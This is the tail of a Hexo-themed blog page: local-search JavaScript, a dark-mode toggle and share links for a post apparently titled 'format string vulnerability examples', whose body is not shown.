      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + %E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E4%B8%BE%E4%BE%8B + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F02%2F06%2F%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2%25E6%25BC%258F%25E6%25B4%259E%25E4%25B8%25BE%25E4%25BE%258B%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/02/06/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E4%B8%BE%E4%BE%8B/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
